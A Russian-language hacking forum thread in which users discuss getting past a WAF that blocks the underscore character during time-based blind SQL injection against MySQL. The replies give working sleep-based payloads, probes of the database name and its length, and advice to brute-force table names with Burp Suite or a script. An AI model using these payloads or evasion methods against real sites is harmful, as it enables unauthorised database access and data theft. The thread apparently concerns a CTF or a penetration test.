Просмотр полной версии : SQL инъекция, блокируется знак _
Добрый день, столкнулся с такой проблемой. при проведении тестирования обнаружил что WAF блокирует знак _ в слепой инъекции на основе времени. переведение запроса в HEX и CHAR не дало никаких результатов, экранирование тоже не помогло . Подскажите, как возможно обойти эту блокировку, так как дальнейшее продвижение без этого невозможно, нельзя использовать information_schema и table_schema.
проверял на основе правильного запроса.
0'XOR(if(LENGTH(DATABASE())=19,sleep(6),0))XOR'Z
знаю длинну бд
чекал на это запросе
0'XOR(if(CHAR_LENGTH(DATABASE())=19,sleep(6),0))XO R'Z
пробовал
__
, может она рекурсивно не проходит.
или
чисто time based blind sqli
SQL:
0
'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'
Z
есть ещё аналог database() - schema()
но нужно проверить существует ли username, или так же через time-based sqli или так
SQL:
0
'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'
Z
__ такой вариант пробовал, не помогает.
чтобы эти варианты использовать надо знать именя таблиц
0'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'Z
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'Z
а как можно узнать имена таблиц не используя при этом знак _ ?
название базы данных известно, может быть можно как то при слепой инъекции вывести все таблицы и посмотреть первый символ первой таблицы без использования table_name?
я же написал как узнать
но нужно проверить существует ли username, или так же через time-based sqli или так
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database() >0,sleep(6),0))XOR'Z
через time-based blind sqli вот так: Статья - Автоматизация эксплуатации слепой Time-based SQL-инъекции при помощи Burp Suite и WFUZZ (https://forum.antichat.xyz/threads/582522/?ysclid=m8tzg5hw63875531016)
через count вы сами подбирайте имя (брутфорс так сказать)
Тут скорее COUNT или через if exists если вам так понятнее, проверяйте существует ли данная таблица в базе данных database() и ловите на time-based.
Напишите скрипт на python или исопльзуй sniper/cluster bomb в burp suite чтобы перебирать таблицы
Я ещё так понимаю это у вас CTF или таск какой то, т.к на bug bounty вы бы просто отправили что время ответа 6 секунд
а если в имени таблицы будет знак _ то возможно как то обойти такой вариант? HEX или CHAR помогут в этом?
sygley сказал(а):
а если в имени таблицы будет знак _ то возможно как то обойти такой вариант? HEX или CHAR помогут в этом?
не знаю, надо пробовать
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot